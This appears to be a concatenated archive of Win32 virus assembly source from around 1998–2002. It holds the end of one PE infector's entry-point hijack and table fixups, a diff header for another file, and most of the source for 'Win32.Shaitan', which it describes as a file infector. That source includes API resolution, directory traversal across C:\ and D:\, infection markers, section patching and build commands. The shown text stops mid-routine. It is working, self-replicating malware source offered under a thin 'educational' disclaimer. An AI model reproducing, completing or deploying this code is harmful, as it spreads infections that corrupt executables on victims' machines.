cmp ebx, [eax].AddressOfEntryPoint ; Entry Point in code sec?
jbe InfectableNo
CheckNextSec:
add edx, size SECTION
cmp ebx, [edx].sec_VirtualAddress
ja InfectableNo
loop CheckNextSec
DoneCheckNextSec:
add edi, VIRSIZE ; Calculate Virtual Move amount
mov ecx, [eax].SectionAlignment
dec ecx
add edi, ecx
not ecx
and edi, ecx
sub edi, ebx
jae short PositiveMoveAmount
xor edi, edi
PositiveMoveAmount:
mov [ebp+MoveAmount], edi
; ************
; Goto relocation section
mov eax, [eax].DataDirectory+40 ; Reloc Offset
or eax, eax
jz InfectableNo
call RVA2Addr
mov edi, eax
; EDI = start of relocation info (struct: repeat of following).
; RELOC INFO is:
; RVA dd ?
; Size dd ? - includes the 8 bytes for this and above field.
; - should always be 32bit aligned.
; entries dw (Size-8)/2 dup (?)
; Rellocs end when next RVA is 0
; Each entry's top 4 bits are the type of relocation. The rest of the 12 bits
; are an offset from the RVA of the position.
; (i.e. address = RVA + (entry & 0x0FFF) )
; Currently handles only relocations of types 0 (nop) and 3 (normal)
MoveRelocLoop:
mov eax, [edi]
or eax, eax ; If RVA=0 then done
je short DoneReloc
cmp eax, [ebp+VirusRVA] ; reloc it if < VirusRVA
jb short MoveRelocSkip
mov ecx, [ebp+MoveAmount]
add [edi], ecx
MoveRelocSkip:
mov ecx, [edi+4]
sub ecx, 8
shr ecx, 1 ; ecx = number of entries
add edi, 8
call RVA2Addr
mov edx, eax
InnerRelocLoop:
jecxz MoveRelocLoop ; Done block if ecx=0 - do next
dec ecx
movzx eax, word ptr [edi]
inc edi
inc edi
mov ebx,eax
shr ebx, 12 ; ebx = top 4 bits of entry
jz short InnerRelocLoop ; if 0, then it's padding
cmp ebx, 3
jne InfectableNo
and ah,0Fh ; remove type
mov ebx, [eax+edx] ; reloc if necessary
cmp ebx, [ebp+VirusVA]
jb short InnerRelocLoop
mov ebx, [ebp+MoveAmount]
add dword ptr [eax+edx], ebx
jmp short InnerRelocLoop
;RelocError:
; int 3
; int 3
DoneReloc:
; ************
; Move physically
; ************
movzx edx, word ptr [esi+3Ch] ; From the new virus position
add edx, esi ; move everything to EOF back
mov eax,[ebp+VirusRVA] ; by PhysMove
mov [ebp+VirusRVA], eax ; To do this, start at EOF
dec eax ; and go backwards to start
call RVA2Addr ; (hence std/rep movsb)
inc eax
mov ecx, esi
add ecx, [ebp+FileFind].fd_nFileSizeLow
sub ecx, eax
xchg eax, ebx
push esi
lea esi, [ebx+ecx-1]
mov eax, [ebp+PhysMove]
add [ebp+FileFind].fd_nFileSizeLow, eax
lea edi, [esi+eax]
std
rep movsb
cld
mov ecx, VIRSIZE ; Copy code into it
mov edi, ebx
call GetVirStart
GetVirStart:
pop esi
sub esi, GetVirStart-VirStart
rep movsb
pop esi
; ***********************
; Fix RVAs and other
; ***********************
; PE Header Fix
; Entry Point - should be fine for now
; ImageSize
mov eax, [ebp+MoveAmount]
add [edx].SizeOfImage, eax
; SizeOfCode
add [edx].SizeOfCode, eax
; BaseOfData
add [edx].BaseOfData, eax
; DataDirectory:
mov ecx, [edx].NumberOfRvaAndSizes
lea edi, [edx].DataDirectory
DataDirLoop:
mov eax, [edi]
or eax, eax
jz short DataDirSkip
cmp eax, [ebp+VirusRVA]
jb short DataDirSkip
add eax, [ebp+MoveAmount]
mov [edi], eax
DataDirSkip:
add edi,8
loop DataDirLoop
; Fix Section Table (edi conviniently points to it now)
mov eax, [ebp+VirusRVA]
sub eax, [edi].sec_VirtualAddress
add eax, VIRSIZE
cmp byte ptr [ebp+AlignVirtual],1
jne short NoVirtAlign
mov ecx, [edx].SectionAlignment
dec ecx
add eax, ecx
not ecx
and eax, ecx
NoVirtAlign:
mov [edi].sec_VirtualSize, eax
mov eax, [edi].sec_SizeOfRawData
add eax, [ebp+PhysMove]
mov [edi].sec_SizeOfRawData, eax
movzx ecx, [edx].NumberOfSections
mov ebx, [ebp+PhysMove]
SectionTableFixUp:
mov eax, [edi].sec_VirtualAddress
cmp eax, [ebp+VirusRVA]
jb short NextSecFixUp
add eax, [ebp+MoveAmount]
mov [edi].sec_VirtualAddress, eax
add [edi].sec_PointerToRawData,ebx
NextSecFixUp:
add edi, size SECTION
loop SectionTableFixUp
; Fix Up Relocation Section - done above (during reloc)
; Fix up Imports
movzx eax, word ptr [esi+3Ch]
add eax, esi
mov eax, [eax].DataDirectory+8
call RVA2Addr
xchg eax, edi
mov ebx, [ebp+MoveAmount]
FixNextImport:
mov eax, [edi].imp_Name
or eax, eax
je short DoneImportFix
cmp eax, [ebp+VirusRVA]
jb short SkipImpNameFix
add [edi].imp_Name, ebx
SkipImpNameFix:
mov eax, [edi].imp_Characteristics
or eax, eax
jz short FixFirstThunk
cmp eax, [ebp+VirusRVA]
jb short SkipImpCharFix
add eax, ebx
mov [edi].imp_Characteristics, eax
SkipImpCharFix:
; Fix Characteristic field now
call RVA2Addr
ImpCharLoop:
mov ecx, [eax]
or ecx, ecx
jz short ImpCharLoopDone
js short ImpCharLoopNoFix
cmp ecx, [ebp+VirusRVA]
jb short ImpCharLoopNoFix
add [eax], ebx
ImpCharLoopNoFix:
add eax, 4
jmp short ImpCharLoop
ImpCharLoopDone:
FixFirstThunk:
mov eax, [edi].imp_FirstThunk
cmp eax, [ebp+VirusRVA]
jb short DoneSectionFix
add eax, ebx
mov [edi].imp_FirstThunk, eax
DoneSectionFix:
call RVA2Addr
ImpThunkLoop:
mov ecx, [eax]
or ecx, ecx
jz short ImpThunkLoopDone
js short ImpThunkNoFix
cmp ecx, [ebp+VirusRVA]
jb short ImpThunkNoFix
add dword ptr [eax], ebx
ImpThunkNoFix:
add eax, 4
jmp short ImpThunkLoop
ImpThunkLoopDone:
add edi, size IMPORTTABLE
jmp short FixNextImport
DoneImportFix:
; Fix up Resource (2)
mov eax, [edx].DataDirectory+(2*8)
or eax, eax
jz short FixUpNoResources
call RVA2Addr
push edx
mov edx, eax
xchg eax, edi
mov ebx, [ebp+MoveAmount]
call FixupResource
pop edx
FixUpNoResources:
;FixUpExports:
mov eax, [edx].DataDirectory
or eax, eax
jz short FixUpNoExports
call RVA2Addr
push edx
mov edx, [ebp+VirusRVA]
xchg eax, edi
add [edi].exp_Name, ebx ; Fix dll name
add [edi].exp_AddressOfFunctions, ebx ; Fix RVA to address Array
mov eax, [edi].exp_AddressOfFunctions
call RVA2Addr
mov ecx, [edi].exp_NumberOfFunctions
ExpFixFuncRVAsLoop: ; Not handling ecx=0, who cares
cmp [eax], edx
jb short ExpFixFuncSkipRVA
add [eax], ebx
ExpFixFuncSkipRVA:
add eax, 4
loop ExpFixFuncRVAsLoop
add [edi].exp_AddressOfNames, ebx
mov eax, [edi].exp_AddressOfNames
call RVA2Addr
mov ecx, [edi].exp_NumberOfNames
ExpFixNameRVAsLoop:
cmp [eax], edx
jb short ExpFixNameSkipRVA
add [eax], ebx
ExpFixNameSkipRVA:
add eax, 4
loop ExpFixNameRVAsLoop
add [edi].exp_AddressOfNameOrdinals, ebx
pop edx
FixUpNoExports:
xor eax, eax
mov [edx].DataDirectory+(6*8), eax ; Kill debug info
mov [edx].DataDirectory+(6*8+4), eax ; Kill debug info
; Fix Thread Storage
; - All are VAs - thus they seem to be fixed by fixing the reloc entries.
; (at least in my test files)
;
; mov eax, [edx].DataDirectory+(9*8)
; or eax, eax
; jz short NoThreadStorage
; call RVA2Addr
; xchg eax, edi
;
; mov eax, [edi].thread_StartDataVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixStart
; add [edi].thread_StartDataVA, ebx
;ThreadNoFixStart:
; mov eax, [edi].thread_EndDataVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixEnd
; add [edi].thread_StartDataVA, ebx
;ThreadNoFixEnd:
; mov eax, [edi].thread_IndexVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixIndex
; add [edi].thread_IndexVA, ebx
;ThreadNoFixIndex:
; mov eax, [edi].thread_CallbackTableVA
; cmp eax, [ebp+VirusVA]
; jb short ThreadNoFixCallback
; add [edi].thread_CallbackTableVA, ebx
;ThreadNoFixCallback:
; sub eax, [edx].ImageBase
; call RVA2Addr
NoThreadStorage:
; Fiddle with entry point
mov [edx].MinorLinkerVersion, 7
mov ecx, [edx].AddressOfEntryPoint
mov eax, [ebp+VirusRVA]
mov [edx].AddressOfEntryPoint, eax ; Set new entry point
add eax, offset HostFileEntryPoint - offset VirStart
sub ecx, 4
sub ecx, eax
call RVA2Addr
mov [eax], ecx ; Fix Jump to host in mem map
; Checklist:
; ---------
; Fix up Exports (0) done
; Fix up Imports (1) done
; Fix up Resource (2) done
; Fix up Exception (3)
; Fix up Security (4)
; Fix up Reloc (5) done
; Fix up Debug (6) zeroed
; Fix up Description/Architecture (7) done?
; Fix up Machine Value (8)
; Fix up ThreadStorage (9) done by reloc fixup?
; Fix up LoadConfiuration (10)
; Fix up Bound Import (11)
; Fix up Import Address Table (12) done by imports fixup
; Fix up Delay Import (13)
; Fix up COM Runtime Descriptor (14)
InfectableNo:
UnmapAndClose:
call [ebp+_UnmapViewOfFile]
call [ebp+_CloseHandle]
mov ebx, [esp] ; Reset File Size
call [ebp+_SetFilePointer], ebx, [ebp+FileFind].fd_nFileSizeLow, 0, FILE_BEGIN
call [ebp+_SetEndOfFile], ebx
lea eax, [ebp+FileFind].fd_ftCreationTime
lea ecx, [ebp+FileFind].fd_ftLastAccessTime
lea edx, [ebp+FileFind].fd_ftLastWriteTime
call [ebp+_SetFileTime], ebx, eax,ecx,edx
CloseAndExitInfector:
call [ebp+_CloseHandle]
FindTheNextFile:
lea eax, [ebp+FileFind]
call [ebp+_FindNextFileA], dword ptr [ebp+FileFindHnd], eax
or eax, eax
jnz InfectNextFile
ExitInfector:
mov esp, ebp
pop ebp
db 0E9h ; jmp VirEnd (full displacement)
HostFileEntryPoint:
dd offset VirEnd - offset HostFileEntryPoint - 4
; Fix up resource
; edi = base address of resource
; edx = current shit
; ebx = reloc amount
FixupResource:
push eax
push ecx
push edx
movzx ecx, [edx].res_NumNameEntry
movzx eax, [edx].res_NumIDEntry
add ecx, eax
add edx, size RESOURCETABLE
FixResourceLoop:
; no need to mess with [edx].resent_ID
; it's either an 31-bit integer or the top bit is set and it's a
; relative displacement from the resource base address
FixResourceIsID:
mov eax, [edx].resent_Next
or eax, eax
js short FixResourceRecurse
add [edi+eax], ebx ; Fix RVA
jmp short FixResourceNext
FixResourceRecurse:
btc eax,31 ; kill top bit
push edx ; save current position
lea edx, [edi+eax] ; find pos of next res dir
call FixupResource ; Recursively fix
pop edx
FixResourceNext:
add edx, size RESOURCEENTRY
loop FixResourceLoop
pop edx
pop ecx
pop eax
ret
; From RVA calculate Physical offset
; Enter
; eax = RVA
; esi = Start Of Memory mapped PE file.
; Leave:
; eax = Mem map Address
RVA2Addr:
push ebx
push edx
push ecx
push esi
push edi
movzx edi, word ptr [esi+3Ch]
add edi, esi
movzx edx, [edi].SizeOfOptionalHeader
movzx ecx, [edi].NumberOfSections
lea edx, [edi+edx+18h] ; Start of Section table
mov ebx, [edx].sec_VirtualAddress
mov esi, [edx].sec_PointerToRawData
SectionLoop1:
cmp ebx, [edx].sec_VirtualAddress
jae short SkipSecLoop1
cmp eax, [edx].sec_VirtualAddress
jb short SkipSecLoop1
mov ebx, [edx].sec_VirtualAddress
mov esi, [edx].sec_PointerToRawData
SkipSecLoop1:
add edx, size SECTION
loop SectionLoop1
sub eax, ebx
add eax, esi
pop edi
pop esi
add eax, esi
pop ecx
pop edx
pop ebx
ret
VirEnd:
call ExitProcess, 0
end start
COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
-=( ---------------------------------------------------------------------- ) `

2850
Win32/Win32.Seraph.asm Normal file

File diff suppressed because it is too large Load Diff

923
Win32/Win32.Shaitan.asm Normal file

@ -0,0 +1,923 @@
;----------------------------------------------------------------------------
; Win32.Shaitan (C)opyright 1998 The Shaitan [SLAM]
;
;
; Win32.Shaitan is a non-resident infector of Windows 9x/NT/32s Portable
; Executable (PE) files.
;
;
; Description
; -----------
; When a file infected by Win32.Shaitan is executed, the virus looks up
; the current process' Import table for the address of GetModuleHandle API
; function. If located, the API function will be called to retrieve the base
; address of KERNEL32.DLL. Otherwise, a hard-coded address (0xbff70000)
; will be assumed. Next, using this address, the virus scans the Export Table
; of KERNEL32.DLL for the address of the GetProcAddress API function. Finally
; using this function the virus obtains addresses of all other API functions
; it needs (e.g CreateFileA, FindFirstFileA etc). The virus searches for and
; infects files in the following order:
; - Current Directory
; - Windows base directory
; - Directories in C:\
; - Directories in D:\ (after checking whether it's a CDROM drive)
; The file encrypts its data using a simple xor operation with 0xFF as key.
; Files are infected by appending the virus to the last section in the file
; and increasing its size. The virus uses memory-mapped files to improve
; performance. Infected files will grow by about 3k.
;
; Umm, that's about all folks! This is my first Win32 virus, so if something
; doesnt work, well... maybe next time :) The code is heavily commented, so
; it should be easy enough to follow (if you can't... dont ask me, i can't
; really follow it either! ;)
;
; Disclaimer
; ----------
; THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD
; RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE
; THE SAME.
;
; To compile, use:
; ----------------
; tasm32 /ml /m5 shaitan.asm
; tlink32 /c /Tpe /aa shaitan.obj, shaitan.exe, ,c:\tasm\lib\import32.lib
; pewrsec shaitan.exe
;
;----------------------------------------------------------------------------
.386p
.model flat
;----------------------------------------------------------------------------
; Some equates to make our code more readable :)
;----------------------------------------------------------------------------
L equ
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE
OPEN_EXISTING equ 00000003h
FILE_SHARE_READ equ 00000001h
FILE_ATTRIBUTE_NORMAL equ 00000080h
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
PAGE_READWRITE equ 00000004h
PAGE_WRITECOPY equ 00000008h
FILE_MAP_WRITE equ 00000002h
FILE_BEGIN equ 00000000h
DRIVE_CDROM equ 00000005h
MAX_INFECT equ 00000005h ; Max. files to infect
; at one go...
FILETIME struc
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struc
dwFileAttributes dd ?
ftCreationTime FILETIME ?
ftLastAccessTime FILETIME ?
ftLastWriteTime FILETIME ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db 260 dup (?)
cAlternateFileName db 14 dup (?)
WIN32_FIND_DATA ends
code_len equ v_end - v_start
;----------------------------------------------------------------------------
; Functions imported by Generation-1 -
;----------------------------------------------------------------------------
extrn GetModuleHandleA:PROC
extrn ExitProcess:PROC
;----------------------------------------------------------------------------
; Some dummy data for Generation-1 -
;----------------------------------------------------------------------------
.data
dummy_data db "SLAM Roqs!"
;----------------------------------------------------------------------------
; CODE section -
;----------------------------------------------------------------------------
.code
v_start:
db 0b8h ; mov eax,xxxx where xxxx
rva_eip dd 1000h ; is RVA of EIP (patched at
; infection time)
call get_delta ; Call next instruction
get_delta:
pop ebp ; Pop out address from stack
mov ebx,ebp ; Save it in EBX
sub ebp,offset get_delta ; EBP = Delta pointer!
sub ebx,eax ; Deduct RVA of EIP
sub ebx,0Ah ; EBX = Base address of module
push ebx ; Not really required, but...
call crypt ; Decrypt virus data
pop ebx ; Get saved EBX back
mov [module_base+ebp],ebx ; Save module base
mov [kernel32+ebp],0bff70000h ; Umm... Default address
; of KERNEL32.DLL (?)
; Now we try to retrieve the address of GetModuleHandleA from the current
; process's Import table...
get_GMHA:
mov esi,[module_base+ebp] ; ESI = Base address of process.
cmp word ptr [esi],'ZM' ; Is the base correctly assumed?.
jne get_GPA ; No. Quit...
xor eax,eax ; EAX = 0
mov ax, word ptr [esi+3ch] ; Get RVA of PE header.
cmp ax,0 ; No pointer to PE offset?
je get_GPA ; No. Can't continue...
mov esi,eax ; ESI = RVA of PE offset
add esi,[module_base+ebp] ; Convert RVA to VA.
cmp word ptr [esi],'EP' ; Is the PE header there?.
jne get_GPA ; Nope. Quit...
mov esi,[esi+80h] ; RVA of .idata section
add esi,[module_base+ebp] ; ESI = Start of .idata section
; Now, find the IMAGE_IMPORT_DESCRIPTOR for KERNEL32.DLL imports
mov eax,esi ; EAX = Start of .idata
find_ik32:
mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR.
mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string
add esi,[module_base+ebp] ; RVA >> VA
cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32?
je ik32_found ; Yes, we found it!
add eax,14h ; EAX = Next IMPORT_DESCRIPTOR.
jmp find_ik32 ; Loop till found...
ik32_found:
mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR.
mov ebx,[esi+10h] ; Get RVA of IMAGE_THUNK_DATA array.
add ebx,[module_base+ebp] ; RVA >> VA.
cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field?
je get_GPA ; Yes, No hint-name table then :(
mov esi,[esi] ; Pointer to pointer!
add esi,[module_base+ebp] ; RVA >> VA
mov edx,esi ;
xor eax,eax ; Init EAX (for use as an index).
iAPI_loop:
cmp dword ptr [edx],0 ; No more RVAs?
je get_GPA ; Yes. Jump...
cmp byte ptr [edx+3],80h ; Ordinal?
je inc_ndx ; Yes. Skip...
mov esi,[edx] ; " " " " "
add esi,[module_base+ebp] ; " " " " "
add esi,2 ; ESI = Start of ASCIIZ API name.
mov ecx,GMH_string_len ; ECX = Length of string (API name).
mov edi,offset GMH_string ; EDI = String to compare with.
add edi,ebp ;
compare:
repe cmpsb ; Compare the 2 strings...
cmp ecx,0 ; Match found?
je API_found ; Yes! Jump...
inc_ndx:
inc eax ; No. Increment our index.
add edx,4 ;
jmp iAPI_loop ; Continue looping...
API_found:
shl eax,2 ; Multiply by 4.
; We had saved VA of IMAGE_THUNK_DATA array in EBX. Remember?
add eax,ebx ; Point to corresponding element.
mov eax,[eax] ; EAX = API call address
mov ebx,offset k32_string ; Offset of "KERNEL32.DLL" string
add ebx,ebp ; Adjust with delta
push ebp ; Save our delta pointer
push ebx ; Push parameter on the stack
call eax ; Call GetModuleHandleA
pop ebp ; Restore our delta pointer
mov [kernel32+ebp],eax ; Save address of KERNEL32.DLL
get_GPA:
mov esi,[kernel32+ebp] ; Point ESI to K32 base address
cmp word ptr [esi],'ZM' ; Is K32 really there?
jne quit ; Nope. Bail out now!
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+3ch] ; Get RVA of PE header pointer.
cmp ax,0 ; No pointer to PE offset?
je quit ; No. Can't continue...
mov esi,eax ; ESI = RVA of PE offset
add esi,[kernel32+ebp] ; Convert RVA to VA.
cmp word ptr [esi],'EP' ; Is the PE header there?
jne quit ; Naw. Cannot continue...
mov eax,[esi+78h] ; PE hdr offset 78h points to .edata.
add eax,[kernel32+ebp] ; Convert RVA to VA.
xchg eax,esi ; Put VA back into ESI.
mov eax,[esi+14h] ; Get # of functions exported by K32
mov [NumberOfFunctions+ebp],eax ; Save.
mov eax,[esi+1ch] ; RVA of table of exported function
; addresses.
add eax,[kernel32+ebp] ; Convert RVA to VA.
mov [AddressOfFunctions+ebp],eax ; Save.
mov eax,[esi+20h] ; RVA of table containing API name
; strings.
add eax,[kernel32+ebp] ; Convert RVA to VA.
mov [AddressOfNames+ebp],eax ; Save.
mov eax,[esi+24h] ; RVA of table of export ordinals of
; all functions exported by name.
add eax,[kernel32+ebp] ; Convert RVA to VA.
mov [AddressOfOrdinals+ebp],eax ; Save.
xor eax,eax ; EAX = 0.
mov ebx,[NumberOfFunctions+ebp] ; Use EBX as a counter.
apisearch_loop:
mov esi,offset GPA_string ; API function to search for...
add esi,ebp ; Adjust with delta pointer...
mov ecx,GPA_string_len ; Length of API function name string.
mov edi,[AddressOfNames+ebp]; Point to start of table containing
add edi,eax ; API function name strings...
mov edi,[edi] ; " " " " "
add edi,[kernel32+ebp] ; " " " " "
cld ; Clear direction flag.
repe cmpsb ; Compare the two strings.
cmp ecx,0 ; Exact match found?.
je match ; Yes! Jump...
dec ebx ; Decrement our counter.
cmp ebx,0 ; Have we gone thru entire table?.
je quit ; Yes. API not found! Bail out...
add eax,4 ; No. Lets compare the next string.
jmp apisearch_loop ; Continue looping...
match:
shr eax,1 ; Divide by 2 (array is of WORDs).
add eax,[AddressOfOrdinals+ebp] ; Point to relevant element in array.
xor ebx,ebx ; EBX = 0.
mov bx,word ptr [eax] ; Get our index into AddressOfFuncs.
shl ebx,2 ; Multiply by 4 (array is of DWORDs).
add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array.
mov eax,[ebx] ; EAX = RVA of API function address.
add eax,[kernel32+ebp] ; EAX = Address of API function!!!
mov [_GetProcAddress+ebp],eax ; Save address...
; Now we retrieve the addresses of all API functions that we'll be using...
Get_API_addresses:
mov edi,offset API_strings ; Point to ASCIIZ string table
add edi,ebp ; Adjust with delta pointer...
APIaddress_loop:
push edi ; Save offset of ASCIIZ API name
push edi ; Push onto stack for API call
call GetAPIAddress ; Retrieve address of API function
pop edi ; Restore address of ASCIIZ string
push eax ; Save address of API function
xor eax,eax ; EAX = 0
repne scasb ; Search for end of string
pop eax ; Restore address of API function
mov [edi],eax ; Save it...
add edi,4 ; Point to next ASCIIZ API string
cmp [edi],'SLAM' ; Was that the last string?
jne APIaddress_loop ; No. Loop till done...
push ebp ; Save delta pointer
mov eax,offset start_dir ; Buffer to store directory name
add eax,ebp ; Adjust with delta pointer
push eax ; Push parameter on stack
push L 128 ; Length of dirname buffer
mov eax,[_GetCurrentDirectory+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
call InfectCurrentDirectory ; Infect files in starting directory
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je restore_start_dir ; Yes. Quit...
push ebp ; Save delta
push L 128 ; Length of dir buffer
mov eax,offset win_dir ; Location of dir buffer
add eax,ebp ; Adjust...
push eax ; Push location of buffer
mov eax,[_GetWindowsDirectory+ebp] ; API to call
call eax ; Call API function
pop ebp ; Restore delta
mov eax,offset win_dir ; EAX = ASCIIZ windows dir name
add eax,ebp ; Adjust...
call SetDir ; Change directory to windows dir
call InfectCurrentDirectory ; Infect files in it...
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je restore_start_dir ; Yes. Quit...
mov eax,offset root_dir_c ; Infect all dirs in C:\
add eax,ebp ; Adjust...
call Search&InfectDirs ; Infect...
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je restore_start_dir ; Yes. Quit...
push ebp ; Save delta
mov eax,offset root_dir_d ; ASCIIZ D:\
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
mov eax,[_GetDriveType+ebp] ; API function to call
call eax ; Call API
pop ebp ; Restore delta
cmp eax,DRIVE_CDROM ; Is this a CDROM drive?
je restore_start_dir ; Yes. Do not try to infect!
cmp eax,0 ; Drive type undeterminable?
je restore_start_dir ; Yes. Let's play it safe...
mov eax,offset root_dir_d ; Infect all dirs in D:\
add eax,ebp ; Adjust...
call Search&InfectDirs ; Infect...
restore_start_dir:
mov eax,offset start_dir ; Name of starting directory
add eax,ebp ; Adjust...
call SetDir ; Set directory back to start dir
quit:
push ebp ; Save delta pointer
mov eax,[_GetCommandLine+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
mov edi,eax ; EDI = Address of cmdline
inc edi ; Inc by one (skip the ")
mov ecx,80h ; Search upto 80h bytes
mov eax,'"' ; Search for "
cmp byte ptr [edi-1],'"' ; Was the first byte a " ?
je find_end_cmdline ; Yes. Continue...
mov eax,' ' ; No. Look for a space then
find_end_cmdline:
repne scasb ; Search for end of string
cmp dword ptr [edi-12],'IAHS' ; G-1? ("SHAITAN.EXE")
je g1_quit ; Yup. Exit normally...
jump_to_host:
mov eax,[module_base+ebp] ; Get module's base address
add eax,[ori_ip+ebp] ; Add original EIP to it
push eax ; Remember .COM infection? :)
ret ; Jump to the original EIP!
g1_quit:
xor eax,eax ; EAX = 0 = Return value
push eax ; Push parameter on stack
call ExitProcess ; Call API to quit
;----------------------------------------------------------------------------
; GetAPIAddress - Calls GetProcAddress to retrieve address of API function
; pointed to by EDI.
;
; Return value: EAX = Address of API function
;----------------------------------------------------------------------------
GetAPIAddress:
push ebp ; Save our delta pointer
push edi ; EAX = ASCIIZ API string
mov eax,[kernel32+ebp] ; KERNEL32 base address
push eax ; " " " "
mov eax,[_GetProcAddress+ebp] ; Address of API to call
call eax ; Call API function
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; SetDir - Sets current directory to string pointed to by EAX
;----------------------------------------------------------------------------
SetDir:
push ebp ; Save delta pointer
push eax ; Push parameter on stack
mov eax,[_SetCurrentDirectory+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; InfectFile - Infects filename specified in "testfile" variable
;
; Return value: On success >> 1
; On failure >> 0
;----------------------------------------------------------------------------
InfectFile:
mov [infect_status+ebp],0 ; Init. flag
push ebp ; Save delta
push [testfile+ebp] ; ASCIIZ filename
mov eax,[_GetFileAttributes+ebp] ; API to call
call eax ; Retrieve original attributes
pop ebp ; Restore delta
cmp eax,0ffffffffh ; Failure?
je infect_end ; Yes. Cannot continue...
mov [ori_attrib+ebp],eax ; Save original attributes
push ebp ; Save delta
push FILE_ATTRIBUTE_NORMAL ; Remove all attributes
push [testfile+ebp] ; ASCIIZ filename
mov eax,[_SetFileAttributes+ebp] ; API to call
call eax ; Remove read-only etc attrib
pop ebp ; Restore delta
cmp eax,0 ; Failure?
je infect_end ; Yes. Cannot continue...
open_file:
push ebp ; Save delta pointer
push L 0 ; Template file (?)
push FILE_ATTRIBUTE_NORMAL ; Attribute of file
push OPEN_EXISTING ; Open an existing file
push L 0 ; Security Attributes
push FILE_SHARE_READ ; Share mode
push GENERIC_READ_WRITE ; Access mode
push [testfile+ebp] ; ASCIIZ Filename
mov eax,[_CreateFileA+ebp] ; Address of API call
call eax ; Call API to open file
pop ebp ; Restore delta pointer
cmp eax,0FFFFFFFFh ; File open failed?
je infect_end ; Yes. Cannot proceed...
mov [file_handle+ebp],eax ; Save file handle
create_file_map:
add [new_filesize+ebp],code_len + 400h ; Inc. by this many bytes
push ebp ; Save delta pointer
push L 0 ; Name of mapping object
push [new_filesize+ebp] ; Max size of mapping object
push L 0 ; " " " "
push PAGE_READWRITE ; Read/Write access
push L 0 ; Security attributes
push [file_handle+ebp] ; Handle of file to map
mov eax,[_CreateFileMappingA+ebp] ; Address of API call
call eax ; Call API to map file
pop ebp ; Restore delta pointer
cmp eax,0 ; File mapping failed?
je close_file ; Yes. Cannot proceed...
mov [map_handle+ebp],eax ; Save mapping object handle
create_map_view:
push ebp ; Save delta pointer
push [new_filesize+ebp] ; No. of bytes to map
push L 0 ; File offset (low)
push L 0 ; File offset (high)
push FILE_MAP_WRITE ; Read/Write access
push [map_handle+ebp] ; Handle to mapping object
mov eax,[_MapViewOfFile+ebp] ; Address of API call
call eax ; Create a map file view
pop ebp ; Restore delta pointer
cmp eax,0 ; Couldn't create map file view?
je close_map ; Yes. Cannot proceed...
mov [view_address+ebp],eax ; Address of map view
fun_stuff:
mov eax,[ori_ip+ebp] ; Get original EIP of host
mov [temp_ip+ebp],eax ; Save it in a temp. variable
mov esi,[view_address+ebp] ; Get address of map view
cmp word ptr [esi],'ZM' ; Is it an EXE file?
jne close_view ; No. Cannot proceed...
cmp word ptr [esi+12h],'SW' ; Already infected?
je close_view ; Yes. Quit...
mov word ptr [esi+12h],'SW' ; Otherwise mark as infected
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+3ch] ; Get pointer to PE header
cmp ax,0 ; No pointer to PE offset?
je close_view ; No. Jump...
cmp eax,[adj_filesize+ebp] ; Compare with actual filesize
jae close_view ; Greater? (Happened once!)
mov esi,eax ; ESI = RVA of PE ofset
add esi,[view_address+ebp] ; Convert to VA
cmp word ptr [esi],'EP' ; Is the PE header present?
jne close_view ; No. Cannot proceed...
mov [PE_hdr+ebp],esi ; Save VA of PE header
; Now ESI contains address of PE header...
mov eax,[esi+28h] ; Get original entry point RVA
mov [ori_ip+ebp],eax ; Save it...
mov eax,[esi+3ch] ; Get file align value
mov [file_align+ebp],eax ; Save it...
mov ebx,[esi+74h] ; # of entries in IMG_DATA_DIR
shl ebx,3 ; Multiply by 8
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+6h] ; No. of sections in file
dec eax ; Decrease by one
mov ecx,28h ; Size of IMAGE_SECTION_HDR
mul ecx ; Multiply...
add esi,78h ; ESI = Addr. of IMG_DATA_DIR
add esi,ebx ; ESI = Addr. of section table
add esi,eax ; ESI = Addr. of last entry
; Now ESI is pointing to last entry in section table (usually .reloc)
; Modify the section characteristics flags... (+CEW)
or dword ptr [esi+24h],00000020h ; Section now contains CODE
or dword ptr [esi+24h],20000000h ; Section is now EXECUTABLE
or dword ptr [esi+24h],80000000h ; Section is now WRITEABLE
mov eax,[esi+10h] ; Get SizeOfRawdata
mov [ori_size_of_rawdata+ebp],eax ; Save it...
add dword ptr [esi+8h],code_len ; Inc size of VirtualSize
mov eax,[esi+8h] ; Get new size in EAX
mov ecx,[file_align+ebp] ; ECX = File alignment
div ecx ; Get remainder in EDX
mov ecx,[file_align+ebp] ; ECX = File alignment
sub ecx,edx ; No. of bytes to pad...
mov [esi+10h],ecx ; " " " "
mov eax,[esi+8h] ; Get current VirtualSize
add eax,[esi+10h] ; EAX = SizeOfRawdata padded
mov [esi+10h],eax ; Set new SizeOfRawdata
